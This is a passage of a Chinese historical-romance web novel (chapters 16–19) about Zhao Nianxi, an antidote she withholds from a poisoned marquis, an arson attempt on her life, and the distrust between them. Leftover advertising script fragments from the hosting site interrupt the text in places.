云舒愣了愣,拉过赵念曦低声问道:“我听他们说,你意图……行刺……侯爷,是真的吗?”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 顿了顿,又试图说服自己,“反正我是不信的,这里面一定有什么误会,是吧?” 赵念曦不知该如何同她解释,轻叹一声,只道:“我不会连累你们,过几日……再过几日他们自会放了你们,好吗?” “我不是怕连累。”云舒挠了挠头,又道,“你有什么难处,可以和我说,再不济,也可以找我兄长帮忙,他必定……” 想到自己入城后还未和兄长有所联系,他必定不知自己的处境,不由怒气顿起。 再次看向程伯,道:“你们无故关押我也就罢了,总该让我写信给家人报个平安吧?” 程伯正愁怎么将人打发走,听了此话当即点头应允。 “莲娘,等我。” 女子一步三回头,“等我写信告诉兄长,他一定会来救我们的。” 赵念曦暗暗蹙眉。 云潇珩恐怕早已知晓此事,可惜,下令的人是他顶头上司,不受牵连已是幸事,如何有能耐与之对抗?! 抬眸看一眼程伯,她面色冷然,“你们侯爷不是答应送她们还乡?为何还押着人不放?” 程伯冷冷一笑,“未能确认解药真伪之前,他们当然不能离开。” “倒是你?” 说到此处,他脸色一变,冷冷道:“早知你有如此歹毒之心,当初便该放任你死于贼人利箭之下,不该救你。” “可惜!”赵念曦亦回以一笑,“这世上没有后悔药!” 二人僵持之际,忽听一声孩童满含欣喜的呼唤, “莲姨——” 赵念曦抬眸远眺,见一幼童拽着风筝急奔过来。 小小的身影快速穿梭在卵石路上,在他身后,紧跟着一中年妇人。 隔着长廊灌木,妇人抬首与赵念曦对望一眼,神色忽然慌乱起来。欲抬手拽住幼童,终是慢了一步。 “莲姨,你来了。” 幼童举着一只灰燕风筝在赵念曦跟前站定,“我们在放风筝,你要来吗?” “臭小子,一边儿玩去。” 赵念曦还未开口,程伯已出言驱赶。 幼童吐了吐舌,因着这位程大人送了他风筝,滚灯……以及许多小玩意儿,便也不计较他的粗鲁。但他不喜欢他们每次都叫他“臭小子”,遂大声道: “我有名字。” “我叫李承孝。” 欲再次开口邀请赵念曦时,忽觉往日温柔无比的“莲姨”面色淡漠彷如生人一般,不禁怔在原地。 赵念曦未再留意身前的孩童,抬眸瞥一眼匆匆赶来的周氏,怔了怔不动声色转过身去。 妇人揽起幼童,神色颇为不安。 “臭小子!”一身形高瘦的官兵走了过来,笑道,“他不带你玩,我带你。走,咱们去骑马,比风筝可好玩多了。” 李承孝自幼机灵,嘴也甜,两日工夫已与许多官兵熟识。闲暇之余大伙儿总爱逗一逗他,这会儿便有人主动要带了他去玩耍。 他朝周氏打量一眼,有些心动。 衙门内外皆有官兵把守,倒不怕意外。 周氏蹲下身,用衣袖擦一擦幼童额上的薄汗,她低声道:“我和你莲姨说几句话,你去玩儿吧。” “嗯。”幼童笑着点头,又朝赵念曦挥手。 那官兵随手拎起瘦小的人儿,轻松便扛在了肩头,他嫌弃道,“没有我家的皮实,你该多吃点。” 不过,这蛮荒之地也没啥可挑的,有的吃就不错了。 一大一小两抹身影渐渐消失在长廊后,赵念曦默默收回视线,心中酸涩难言。 抬眸看向身边妇人,她,清楚她的来意。 16. 第 16 章 恨意 三年前,赵念曦曾大病一场。 幼子无人照料,只得拿出所有家当将他托付给一农户抚养。 后来,有幸遇贵人相救病情终得以痊愈。 待她几经辗转找到孩子时,发现原本衣食无忧的农户夫妇只剩下妇人带着孩子四处流亡。 入城前那一夜,赵念曦看着熟睡中的孩童,悄悄转身离开。 她身份特殊,归国之路漫漫且艰险重重。有周氏在,至少可保孩子性命无虞。 况且,她也曾答应过周氏,孩子……归她。 周氏攥着手指,神色复杂。她喃喃道:“当初,咱们说好的……” 丈夫已逝,长子早夭,眼下唯有这么一个倚仗,她不愿放手。 “我知道。” 赵念曦回过神,不待她说完便匆忙打断,“这几日的事原是一场误会,并非我反悔使人抓你。待我解决掉这桩麻烦,会有人送你们‘母子’二人还乡。” 未免她多心,赵念曦特意咬重“母子”二字。 周氏凝着眉,仍有些不安。 赵念曦见此不由轻叹一口气,“我已听说了,李大哥是为了救这孩子,孤身引开追兵才……” 顿了顿,她没有再说下去。 周氏咬着唇,眸中含泪。丈夫凄惨死去,自己从那之后便开始流离失所,怎不心酸! “我不会食言。” 赵念曦握着妇人的手,低声安抚。 “只是,你们孤儿寡母,又无亲朋相助,到底生存艰难。” “恰好我在南边有个做官的挚友,只是多年不见,一时失了联系。待我打听到他的住处,便写封信托他照拂你们一二。” “将来若有难处,也可请他帮忙推举个差事,如此,你们下半辈子也可无忧了。” 周氏听了,无不心动。迟疑一瞬,反问:“那你呢?” 赵念曦缓缓抬眸,瞥一眼苍茫而昏暗的天空,她低叹一声,淡淡道:“我打算回一趟祖宅,便,不随你们一起了。” 周氏闻言,这才明白赵念曦是真的无心与她抢孩子。她放下戒备,面色有所缓和,反握住赵念曦纤细的手,歉然道:“是我多心了,你别往心里去。” 赵念曦微微阖目,摇了摇头。 亲历数年战乱,她已看惯生死。只要孩子能远离纷争,平安长大,她并不介意谁做他的娘亲。忽然想到一处隐患,不由凝眉, “你可知,被抓进来的人里,有没有一个叫王孝之的男子?” 周氏摇头,表示并不清楚。 “那其他人呢?那些男子都被关在哪里?” 周氏想了想,仍旧摇头。 赵念曦有些失望,心道,那些男子不与女眷一道,兴许还在地牢里。想到李承孝说曾跑了数间地牢寻她,或可找机会问一问他。 到了时辰,那姓宋的嬷嬷拎着汤药寻来,程伯亦催促周氏速速离开,二人就此别过。 赵念曦接过药碗,一饮而尽,随即吩咐底下人备水。 脖颈间的红疹未消,有些痛痒,只想清爽沐浴毕换身干净衣裳。有夜君慎的吩咐在前,底下人不敢不从,立即下去准备。 宽敞的净室里,热气蒸腾。兰汤新沐,甚是惬意。 赵念曦轻靠在柏木浴桶上,神思有些恍惚。 为了自保,呈上那份解药时她到底留了一手,也不知那人在知晓真相后该如何暴怒。 想到那般模样,顿觉畅快。 “赵姑娘,衣裳搁在这里了。” 净室门口传来宋嬷嬷的声音,赵念曦回过神,从温凉的池水里起身。 索性今夜无事,加之几日未曾好好歇息,便抱着软枕香裘早早歇下。 迷迷糊糊之际,忽闻到一丝清甜的异香,赵念曦凝眉轻嗅, 是——迷魂香?! 难道…… 他们出尔反尔,拿到解药便迫不及待要杀了她?那他答应的事…… 仿佛一盆凉水兜头浇下,赵念曦心神溃散。 “莲姨,这个甜糕真好吃!下次,我也给你带好吃的。” “莲姨,我们在放风筝,你要来吗?” …… 幼童稚嫩的嗓音在脑海里徘徊,赵念曦陡然回神。 不! 兄长蒙冤未赦,幼子亦无人托付,她不能死。 环视一周,但见左右两扇窗子早已叫人封死。细窄的窗隙里,漏进一丝木料燃烧时呛人的烟味。 着火了! 眼前有些晕眩,双腿亦酸软无力,赵念曦踉跄着奔至屋门前,可惜,任凭她使出浑身解数,门板仍旧纹丝不动。 果然上了锁。 “来人!” “来人!!” 回应她的,只有木材燃烧时的噼啪声。 赵念曦无力跪坐在地,不由苦笑,果然,太过相信他人终归是要栽跟头的。 她就不该心软,不该心存幻想…… “砰!” “砰砰!” 门外忽传来几声异响,而后是稚童焦急的呼喊,“莲姨!” “咳咳!莲姨?你在里面吗?” 是——李承孝。 赵念曦悚然一惊,仓皇起身。隔着厚重的木门隐约听见外间不时传来几声孩童的咳嗽,她急道:“阿宝,你快走。” 又是几声咳嗽后,幼童大声道:“莲姨,你等着,等我开了锁,救你出来。” 云潇珩除了排兵布阵,还善于破解机关密钥,李承孝便是跟他学了些皮毛。 赵念曦并不怀疑他的能耐,但此刻,外有猛火炙烤,他撑不了多久的。 身边连个可信的人都没有,求助无门,赵念曦无力道: “阿宝,你听我的。” “和你娘离开这里。” “走得远远的,再也不要回来。” “你听到了吗?阿宝?” 赵念曦侧着身,耳朵紧贴木门,忽听“哐当”一声,是铜锁落地的声音。 “莲姨……” 门扇打开,屋宇上的梁柱瓦片忽然坍塌下来。 * 风声细细,檐铃叮当,微雨渐渐沾湿窗棂。 一军士匆匆踏入正堂,高声回禀,“侯爷,一百轻骑已整装毕,只待侯爷示下。” 梨木书案前,夜君慎正襟危坐,冷峻的目光凝在手中字迹潦草的纸张上,神色怔忪。 有了解药线索,原该高兴才是,不知为何,瞥见那女子神色倦怠,仿佛抽光了所有气力般身心俱疲的模样,却只觉心绪烦乱。 “她怎么样?” 侍立在一旁的黄霄茫然四顾,怔了一瞬才反应过来。 “李老说,那女子只是水土不服,并无大碍。” 闻言,夜君慎似松一口气,收了笔墨起身,“随我出城。” 一行人兵分两路,循着赵念曦笔墨所指的位置前行。 半个时辰后,终于寻到了图中所指的一处险峻山峰。待移开歪松下的石块,掘地三尺方见一青色瓷瓶,打开瓶塞,赫然可见一豆大的赤色药丸。 众人欣喜万分。 “侯爷,既已得了解药,那妇人也就无用了。待属下回去,必定就地处决了她。” “是啊,那妇人如此恶毒,不杀不足以解恨!” …… 夜君慎拧着眉,面色冷沉。 “此事因我而起,也是我与赵家的私人恩怨。谁再擅自插手,便是与我为敌。届时,休怪我不念旧情。” 底下人纷纷噤声。 但凡沾上赵家,侯爷总要破例,眼下怕不是连行刺之罪都不打算追究了,他们还能计较什么! 夜君慎收了瓷瓶,顺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手交给黄霄,他淡声吩咐,“给李振送去。” 黄霄小心接过,心中疑惑,“侯爷不自己留一点?” 狐疑之下,抬手倒出药丸。谁知,将瓶子翻了个底朝天也未找出第二颗来。 几人面面相觑,一时气怒不已。 心道,这毒妇好生狡诈。 “侯爷——” 黄霄疾步追上夜君慎,道:“解药只有一颗,若给了李将军,那您呢?” 夜君慎已翻身上马,睥睨的目光觑向底下人,他淡淡道:“我们的队伍里,少了一人。” “什么!” 黄霄大惊,立即回身报数,果然少了一人。 夜君慎并不意外。他握着缰绳,淡淡道:“此刻,夏侯桀或已收到我与李振身染剧毒的消息,又值朝廷调换将帅之际,今夜,他们必会率军突袭。” 黄霄这才反应过来,“所以,侯爷是故意放他前去报信?” 以图……引蛇出洞,来个瓮中捉鳖? 可惜,陈骞已迫不及待走马上任,仅凭他一人之力恐怕难以招架。 李振又毒发卧床,就算得了解药,短时间内恐怕难有好转。 侯爷亦身染剧毒,也不知他如何撑到现在! 这般局面,怎么看都是一步险招啊! 夜君慎凝眉看一眼面前之人,沉声吩咐,“你最好速去传信。” 才说罢,忽觉喉中血腥弥漫,蓦地吐出一口鲜血。 “侯爷!” 众人焦急上前,无不担忧。 黄霄见此,再不敢耽搁,当即抱拳道:“属下必不辱命。” --- 漆黑的夜幕下,点点星火徐徐扩散,似有冲天之势。 一抹黑影抱臂立于廊庑下,冷冷看着眼前一切。直到有人赶来,他方回身瞧一眼叫大火吞噬的宅院,悄无声息退了下去。 “来人,救火。” “快救火!” 程伯率人赶至后院灭火,不料取水时迎面撞上一人坚实的铠甲,霎时惊呼出声, “侯爷!” 他怔了怔,匆忙回禀道:“贼人夜半纵火,待发觉时火势已经失控,属下尽力了。” 夜君慎听闻南苑走水,便知纵火之人泰半是冲着他来的。策马赶来便见原本宽敞的宅院已叫大火吞噬,霎时心底生凉。 几步上前,抬手夺过一人手中的水盆便将自己兜头浇个湿透。 程伯察觉到他的意图,慌忙拦阻,“侯爷,情势危急,您不可以身犯险。” 然终究没能将人拦住。 混乱的屋宇内,梁柱坍塌,烟雾弥漫。 赵念曦在一阵呼唤声中陡然惊醒。浓密的烟熏得人睁不开眼,还有一股炽热的气流在身旁涌动。 轻咳两声,她虚弱喃喃,“这里……” 忽然,一高俊的身影出现在面前,径直揽起二人便往外冲出。 直到看见漫天繁星,呼吸到清凉的气息,才终于体会到劫后余生的感觉。 瞥一眼怀中昏睡的幼童,赵念曦挣扎着跪坐起来。颤抖的指触一触幼童鼻尖,她喃喃着,却发不出声音。 “唤大夫。” 夜君慎打量一眼二人,欺身上前查验幼童伤势。 赵念曦忽然抬眸,冷锐的目光里暗含怨恨。双手陡然掐住面前之人脖颈,因为用力,五指骨节分明。 她冷冷道:“背信弃义之人,我见得多了。你是最无耻的一个。” 可惜,哪怕使出浑身气力于那人而言也不过挠痒一般。 夜君慎轻嗤一声,五指握住女子纤细的手腕,轻而易举反扭至身后。 他淡声道:“这件事,并非我所为。” 呵! 狡辩! 双手受制,赵念曦无计可施,忽然欺身上前,一口咬住对方脖颈。 17. 第 17 章 试探 * 更深夜阑,昏朦的烛光盈了满室。 幼童安安静静躺在榻上,细弱的手臂裸露在锦褥外,一双小手包扎得比粽子还要严实。 妇人怔怔守在榻旁,颤抖的指轻抚着他细软的额发,不禁潸然泪下。 隔着层叠帘帐,赵念曦远远望一眼内室里的“母子”二人,心绪复杂。 若不是因她,孩子也不会遭这般罪,眼下,还须尽早送他们离开才是。 打定主意,正欲悄悄退下,转身时忽迎面撞见一人。 又是他! 眸中泪光还未收尽,赵念曦怔了一瞬,慌忙背过身去。 因是半梦之际惊醒,仓皇之下也未来得及更衣,故身上仍穿着一身月白寝衣。 夜君慎瞥一眼女子乌发散乱,泪眼蒙眬的无助模样,竟莫名生出一丝怜悯之心来。 脖颈上的齿痕仍在刺痛,他想,不该这样的。这女子发起疯来,丝毫不顾及后果。 后果么…… 想到她的处境,若换了是他,只怕会做得更绝吧。思及此,便也不计较她的僭越无礼。 念及无辜受累的幼童,顿了顿,还是出言安抚,“大夫说,那孩子只是受了惊吓,待醒来也就无碍了。另外,他手上的烫伤并不十分严重,抹了药,休养几日便好。” 赵念曦心道,但凡再晚一步,俩人早已命丧黄泉,他却仿若无事人一般说出这样冷血的言辞,不由别过脸去,冷嗤道: “不用你假惺惺!” 夜君慎默了默,接着又道:“为避意外,我已派了两名大夫在隔壁住下,护卫也已全部撤换,你们尽可安心。” “安心?” 他前后态度不一,赵念曦抬眸看向眼前之人,忽而轻笑,“侯爷如此着急赶来,是不是发现解药只有一颗?!” “不光如此,我还要告诉你,一颗药,顶多只能撑三天,你想耍无赖,门儿都没有!” 夜君慎闻言,意识到女子的警惕防备,以及……控诉。抬眉觑向眼前人,忽道:“你似乎对我,有很大的成见?” “此前,我们好像从未谋面吧?” 哪怕是为赵家,也说不过去。 赵念曦冷冷一笑,语带讥讽,“我对男人皆有成见,让侯爷误会了,真是抱歉啊!” “是么?” 夜君慎显然不信。 清隽的目光打量面前女子,忽瞥到纤白脖颈上一抹浅淡的红痕,怔了怔,他试探道:“第一次见面,我就觉着眼熟,我们……是不是在哪里见过?” 探究的目光凝在面上,如芒刺在背,赵念曦不由警惕起来。心道,他已起了疑心,若答没有,似乎有些刻意。 点一点头,她轻叹道:“可惜,侯爷贵人多忘事,自然是不记得了。” 夜君慎眉峰一挑,等她细说。 赵念曦顿了顿,似回忆往事般娓娓道来,“侯爷还是将军时,凯旋还朝,夹道恭迎者无数,我在那时便见过侯爷。” 这番话,说了等于没说。 夜君慎皱起眉,还欲细问,忽有人来报,“侯爷,有线索了。” 为免加深女子对他的误会,也未让其回避,当即吩咐:“你说。” 底下人便道:“夜间原该梁校尉当值,但他的饮食里不知何时被人下了泻药,当晚便只庞舸几人守着,梁校尉连着跑了几趟茅房,出来时见南苑失火,欲唤人却发现其他人都中了迷魂香,这才耽误了灭火。” 夜君慎颔首,“知道了。” 赵念曦静静立在一旁,清冷的目光瞥一眼二人,心中冷笑,不就是演给她看,想撇清关系么。 至于结果如何,她并不感兴趣。 数万人听令于他,便是随意推出一人背锅,她又能如何。 转身之际,忽听身后人问她道:“着火之前,你有无见到可疑之人出入?” 赵念曦闻言,当即讥讽一笑,“这贼喊捉贼的戏码,我没工夫陪你们玩儿。” 夜君慎凝着眉,暗暗摇头。误会已深,不揪出幕后之人,怕是洗不清嫌疑了。 若换了旁人,他原可不加理会,当下却不知为何,下意识承诺道: “我已将南苑所有护卫单独关押起来,三日内必找出纵火之人,届时,定给你一个交代。” 赵念曦想,他做这些承诺不过是想补救过错,拿到解药罢了。一旦得手,自己势必会陷入被动境地。 怔怔想着,忽闻一声疾呼, “侯爷——” 一锦衣男子匆匆赶来,神色万分焦急,他抱拳回禀道:“那夏侯桀果然贼心不死,竟率部突袭,现已到了城门前。” 夜君慎闻言,面上波澜不惊。 男子见他这般,恍然明白过来,“侯爷早就料到了?!”随即,面上现出一抹喜色,“那侯爷接下来如何打算?” 谁知,夜君慎竟仿佛事不关己般淡淡道:“眼下,陈骞是圣上亲任的大将军,自然是他说了算。” 什么! 底下人惊诧不已。 “陈骞此人恃勇轻敌,不堪大用,由他领兵,不是让底下兄弟白白送死嘛!” “是啊, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 侯爷。咱们费尽千辛万苦,牺牲了多少将士才夺回来的城池,难道就这么放任他胡来?!” “……” 一众人愤怒不已,执意让夜君慎出面,阻拦陈骞断送将士性命。 夜君慎不应。 正因圣上防他,才特意委任他人,自己与之夺权,无异于公然抗旨。 将欲离开,前路却叫人拦住。 “侯爷当真不管了?” 那人万般不甘心,单膝跪地恳求,“侯爷——您不能坐视不理啊!” “是啊!侯爷。” 众人附和着,也跟着跪下。 夜君慎不由凝眉。 这件事岂是他一人说了算的?!正欲吩咐人退下,忽觉胸口一阵剧痛袭来。 “侯爷……” 一声声焦急的呼唤蹿入脑海,赵念曦怔了怔,回眸,只见那抹伟岸的身影缓缓倒下。 他,毒发了? 赵念曦不明白,夜君慎不是已经拿到了解药,为何还会…… “本侯与赵家的恩怨,不该牵涉无辜之人,还请拿出一部分解药,先救了李振。” 身处地牢时的一番对话在脑海响起,赵念曦恍然明白过来……他将那颗解药,给了李振?! 如此看来,也算重情重义,言而有信之人了。赵念曦喃喃着,心道,她似乎误会了他。 想到夜君慎曾多次声称纵火之事并非他授意,更是心惊。 如果幕后之人当真不是他,那……定是有人钻空子,欲趁机杀了她以彻底断绝解药线索,进而除了夜君慎。 此次未成,凶手必定还会再寻机会。 思及此,不由脊背发凉。幸而他们不知李承孝身份,否则,孩子恐怕早已遭人毒手。 眼下,唯有交出全部解药,方可破局。 该,相信他吗? 赵念曦只觉心中乱做一团。 李振与夜君慎有着近十年生死相交的情谊,他才可能做到舍生保全其性命的地步,那……他们呢? 两府的姻亲关系仅维系了短短数月,如何能与之相较。更何况,如今的赵家早已家破人亡,没有丝毫利用价值。 可,不交出解药,随时会面临下一次暗杀,届时,能否像这次一样逃过一劫犹未可知。 权衡再三,赵念曦决定待李承孝醒来,务必先送他离开。 命人备了笔墨,她缓缓提笔,写下两份书信。 一份,给兄长;一份,给李承孝。 她想,若夜君慎执意押着人不放,她可以交出解药,和他交换。 18. 第 18 章 解药 * 假山水榭旁,绿竹掩映。 李茂荣拎着药箱,随人穿过曲折的长廊,而后步入后宅。 侍从朝上首抱拳一礼,疾声道:“魏将军,李大夫来了。” 老者亦拱手一礼,“魏将军……” 话未完便被人提溜至榻前。 魏骁径直将人往矮几上一摁,神色焦急道:“李老,侯爷不似旧伤复发的样子,你来看看,到底怎么回事?” 李茂荣到底上了年纪,一宿未歇多少有些熬不住。将看完那小娃娃没多久,眼还没眯一下呢,又被人仓皇拖至此处,面色略显憔悴。 瞪着酸胀的眉眼瞧一眼榻上人面色苍白的模样,手指微颤。把脉时,眉头几乎拧在一处,想到侯爷曾经的叮嘱,一时支吾着不知该如何是好。 魏骁瞧着他这般模样,又气又急,当即斥道:“侯爷安危,事关大局,便是有什么不能说的,此刻也说得。你这样子,难道想害死他!” 李茂荣闻言,心中一惊。当即俯首跪下,连呼“不敢。” 魏骁急得想发疯,一拍桌案怒道:“那你倒是说呀?侯爷究竟是怎么了?” 李茂荣却握拳拱手,颤抖着唇角斟酌着该怎么开口。 “老朽无能……”一句话将起,便被人近忽拎了起来。 “你说什么?!” 魏骁瞪着眼,情绪激动。 李茂荣小心翼翼将实情一一道来,末了,缓一口气又道,“侯爷早知自己的处境,已快马加鞭从京中调派太医,想必人已经快到了。 将军着急,何不去催他。” 魏骁闻言,有些冷静下来。缓缓将人放下,替老者理一理衣衫,他歉然道:“抱歉,方才是我着急了,您无事罢?” 李茂荣还能同他计较什么呢?当下只得无奈摆手:“无事无事,魏将军不必管我,眼下,还是先救侯爷要紧。” “来人。” 魏骁立即派人去催太医。 忽听一声声疾呼在花厅外回响, “太医来了。” “章太医来了。” 李茂荣闻言,仿若见到救命稻草一般,霎时眸光一亮。 魏骁亦松一口气,忙向外间喊道:“快请,快请。” 于是,十余人引着年迈的老太医进来,魏骁一挥手,众人吩咐让出路来。 李茂荣瞧一眼章琰,因着舟车劳顿,一副风尘仆仆的模样,却仍不掩其气度。 心道,这章太医若果真有一手,他亦可跟着学点东西。忙随在一旁,帮着挽衣袖,递帕子。 魏骁无事可做,便挥手让人下去安置午膳,替章太医接风洗尘。 章琰坐在榻旁,枯槁的指搭在男子脉搏上,时而凝眉,时而捻须。又仔细看了舌像之后,斟酌着写下一副药方。 李茂荣随在一旁,暗暗留心,待章琰搁下笔,他方以谦逊的姿态,恭敬请示,“章大人,这药方可否借予老朽瞻仰一番?” 章琰比之李茂荣到底年轻几岁,有人这般恭敬示下,遂欣然点头应允。 李茂荣得了允准,净了手以双手接过药方,认真的看,仔细的品, “嗯,连翘,有解毒之效;附子微毒,些许用量,也可有以毒攻毒之效用,不错;洋金花,雷公藤……” 李茂荣凝着眉,越往后看越是心惊,“章大人,这雷公藤会不会有些过量了?” 章琰摆手,道:“是这样的,错不了。” 李茂荣皱着眉,继续往下读,“川乌三钱,这……尽是烈药,这怎么能行!” 章琰哪里想到这老头儿是来拆台的,当即冷着脸,收回药方。 “这也不行那也不行的,你既有本事,侯爷何必千里迢迢请我来?” 说罢,转身便要走。 魏骁见此,忙亲自将人拦下。抬眸看向李茂荣,他试探着道:“当年,章太医也曾为侯爷开方医治,侯爷既请他老人家来,必是信任。眼下左右也没有旁的办法,何不一试?” “不可不可。”李茂荣当即摆手,“照这么用下去,哪怕救活了,将来也是废人一个。” 章琰不听。 堂堂御医,叫一个边陲之地的无名大夫质疑他的医术,如何忍得?! “你懂什么?!” 他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怒道:“上次我也是这么用的,侯爷不仅生龙活虎,连上马征战也无妨碍?!哪里似你说的这般?” 李茂荣闻言,气得瞪眼,“上次是上次,侯爷此次中的毒与上次并不一样。哪里还能按上次的方子来。” 不料,那章太医竟仰在椅中哀嚎起来。 “你们既不信我,何苦费这工夫把我从京城弄过来?我这一把老骨头,哪里经得起这般折腾?” 李茂荣别过脸,心道,这老头儿医术不精,胡乱开方用药,自个儿倒还抱怨上了。 眼见俩老头吹胡子瞪眼,各执一词,魏骁不知该听谁的,一时气怒不已。 抬脚踹翻了桌案,他怒喊道:“黄霄人呢?传他来问话!” 黄霄是夜君慎近身护卫,听闻传话,立即赶来。 魏骁凝着眉,质问他到底怎么当的差,如何会让人中毒。 黄霄原以为章太医能有把握解毒,没料到竟是这般状况,情急之下,便从夜君慎是如何中的毒开始,一五一十将实情和盘道出。 魏骁听了来龙去脉,一时惊诧不已,“这样大的事,你们怎不上报?!” 黄霄垂首解释,“侯爷再三叮嘱,为免军心不稳,不可声张,加之侯爷又派人往京中去请太医,属下们以为章太医真有解毒之法,是以不敢张扬。未料……” “行了行了,我知道了。” 魏骁再瞧一眼榻上昏睡的男子,凝眉问道:“既有解药,何必费这么多工夫。还有,李振用了药之后,如何?” 黄霄瞥一眼周遭,示意单独说话,魏骁便将余下诸事交付与李茂荣,而后俩人到了隔壁空室。 四下无人,黄霄这才低声道:“李将军服用解药之后,确实好转许多,但那女子却说,一颗解药至多只能撑三天,这……” “一颗药管三天?”魏骁听了不禁想笑,“怎么?她想一辈子盯着人喝血?”难怪侯爷不答应! 说起来,侯爷历来谨慎,如何会这般轻易就中了毒,还如此受其掣肘? 他握了剑在手,“带我去见她。” “我倒要看看,究竟是什么人竟有这般能耐。” 19. 第 19 章 反击 * 南苑失火,屋宇半数被焚。 赵念曦被临时安置在了东苑的厢房里,此处距离夜君慎的卧房仅隔了一道回廊,是以护卫森严,便是只苍蝇也难以靠近。 持续了大半夜的混乱终得以平息,一众人渐而松懈下来。 梳洗毕重又换了身湖色百迭裙,赵念曦坐在镜台前,徐徐理妆。 忽闻底下人来报,“赵姑娘,魏将军来了。” 赵念曦心知那人泰半是为了解药而来,不禁暗嗤一声。 她已兑现承诺,交出一部分解药。而李承孝与她却险些丧命于大火,幕后之人还未揪出,他有何脸面来谈解药。 随手取了檀木梳通发,赵念曦淡声道:“让他等着。” 慵懒的嗓音里透着一丝敷衍,底下人闻言,不免皱眉,“魏将军是侯爷亲信,亲自登门必有要事。赵姑娘如此怠慢,恐怕不妥吧。” 赵念曦轻嗤一声,头也不回淡声道:“你既有主意,何必来回我,让他进来便是。” 那人犹豫一瞬,出去传话。 “请魏将军稍候,赵姑娘更衣毕立即就来。” 魏骁听了这话,不禁侧目。 心道,什么人竟敢让他等着! 然而,他也没有强闯女人屋子的癖好,冷着脸转头询问立在庭前的黄霄,“那女子什么来头?” 黄霄想了想,尚未确认的事也不宜胡乱拿出来说,便避重就轻道:“据她说是侯爷一位故人,具体是何身份侯爷已派了人前去查证,还未有消息传来。” 魏骁闻言,来了兴致。他把玩着手中折扇,冷嗤道:“什么故人?” “说来听听,兴许我还认得呢!” 黄霄觉着这话有理,便将那女子的说辞复述一遍。 谁知,魏骁竟皱起眉冷笑: “哪里来的骗子?!” 抬手指了指一旁的嬷嬷,他冷声吩咐:“你,再去传话,她若还敢推托,本将军便要命人破门……” 话未完,只听“吱丫”一声门扇大开。 一抹纤细的湖色身影立在门前,缓缓启唇,清冷的声音徐徐道: “你要如何?” 女子微微偏头,冷白的面颊上几无血色,更衬得明眸皓齿,玉骨冰肌。 魏骁抬眸觑了一眼,不由神色一滞。此人颇有几分面熟,他想了想怔怔道:“你是,那日的舞……” “嘘!” 纤指抵唇,赵念曦温声道:“将军慎言。” 温柔的嗓音里带着一丝警告意味,魏骁凝着眉,想起半月前突袭西锦王宫时偶遇这女子的情形。 她似乎,颇擅毒。 连那位自称百毒不侵的少年祭司都败在其手,可见手段不容小觑。 当下不得不敛起怒色,徐徐说道:“那日姑娘陷于敌军之手,是侯爷救下姑娘一条性命。侯爷担忧姑娘安危,还曾派人打听姑娘下落,只可惜,未有结果。 不知因何缘故,竟让姑娘作出这负恩背义之举。” 如此三两句话便往人头上安了个“负恩忘义”的罪名,赵念曦不由冷然一笑,“你不说我倒忘了,当日我也曾救了你们侯爷一次,互不相欠罢了。什么恩不恩,义不义的。” 魏骁瞧这妇人有恃无恐的模样,只觉心里堵得慌。他言辞犀利,道:“眼下战事初定,西锦余孽尚在,若将军真有闪失,贼子卷土重来必将祸及天下百姓……” “那是你们的事。”赵念曦毫不犹豫打断他,冷嗤一声,“与我无关。” “你……” 魏骁呼吸一滞,不禁沉了面色。他冷冷道:“你想怎样?” 冷沉的目光觑向眼前之人,赵念曦缓缓启唇,清丽的声音淡淡道:“我已说过,放了与此事无关之人,送他们回乡。” “这有何难。” 魏骁扬了扬手,立即吩咐人去办。冷厉的目光瞧一眼面前女子,他抬了抬手,道:“赵姑娘,请吧。” 赵念曦瞥一眼小士兵远去的背影,缓缓收回视线,她轻笑着,慢声道:“若说配制解药,也不难。只是,旁人不得横加干涉,也不允人窥探,还望将军见谅。” 魏骁闻言,眉头一皱。心道,但凡这妇人在解药上做些手脚,指不定一辈子都要受其挟制,如何能轻易应允?!他冷嗤一声,道: “侯爷身负抗敌重任,不可有任何闪失。这一点,我绝不能答应你。” “魏将军只管放心,我还需仰仗你们侯爷呢,不会轻易叫他死了。”赵念曦淡声说着,见他毫无妥协让步之态,不由浅笑,“该说的我已说了,魏将军若无异议,眼下便可炮制解药;若有疑虑,也可等些时日,左右我也等得。” 她等得,夜君慎却等不得。 魏骁皱着眉,犹豫之际忽有人来报,“魏将军,不好了!” “何事?说!” 那小卒扶一扶歪倒的头盔,慌张道:“陈将军亲率三千铁骑出城迎敌,不料……不料陷入敌军埋伏,被……被夏侯桀俘虏了。” “什么?!” 魏骁又惊又怒,当即痛骂道,“这个蠢货!” 疾步走下长阶欲寻人议事,忽想到夜君慎还昏迷着不由愤愤折返回来。思虑片刻,他终于点头应下赵念曦的要求。 只是,暗中却令章琰与李茂荣二人悄悄监视。 又吩咐黄霄,“给我盯着她,若她敢在解药上动手脚,即刻捆了等我处置。” 黄霄立即抱拳应“是。” 李茂荣亦躬身应下,心中却对那位素未谋面的姑娘十二分好奇。为了验证心中猜想,他决定亲自见一见此人。 微风细细,庭前海棠似粉蝶翩翩。 赵念曦缓步走下长阶,穿过长廊忽见一须发皆白的老者迎面而来。 “赵姑娘。” 李茂荣率先拱手一礼,他受命监视之事也不宜摆到明面上,便只笑道:“魏将军命我等在此接应姑娘,也好向姑娘转述侯爷伤情。” 他虽年迈,行止却谦和有礼,赵念曦顿了顿,亦回以一礼。 李茂荣不动声色打量一眼女子苍白的面色,微微皱眉,这女子不过二十出头年纪,却擅制毒解毒,必有其过人之处。遂开口问道: “敢问姑娘师承何处?” 赵念曦没有回话。 师门宗旨乃治病救人,她却设计下毒,并以解药相逼,如何有脸报出师父名讳?只不动声色加快步伐。 李茂荣见人一路无话,便没有再追问下去。到了一处岔路口,他抬手指了指右手方向,道:“就是这里了。” 二人进了卧房,见榻上之人仍旧昏迷着。 赵念曦不由凝眉,按理说,轻微的“雪艳冰魄”之毒应不至使人昏迷过久。抬手把了脉,方知夜君慎还有几重外伤。 也正是这几重外伤致使毒性入侵脏腑,若不及时救治,恐有性命之忧。 腕上的镂空银饰里暗藏了几粒赤色药丸,赵念曦瞥一眼身旁老者,不好让其退下便只道:“烦请老先生备些茶水来。” 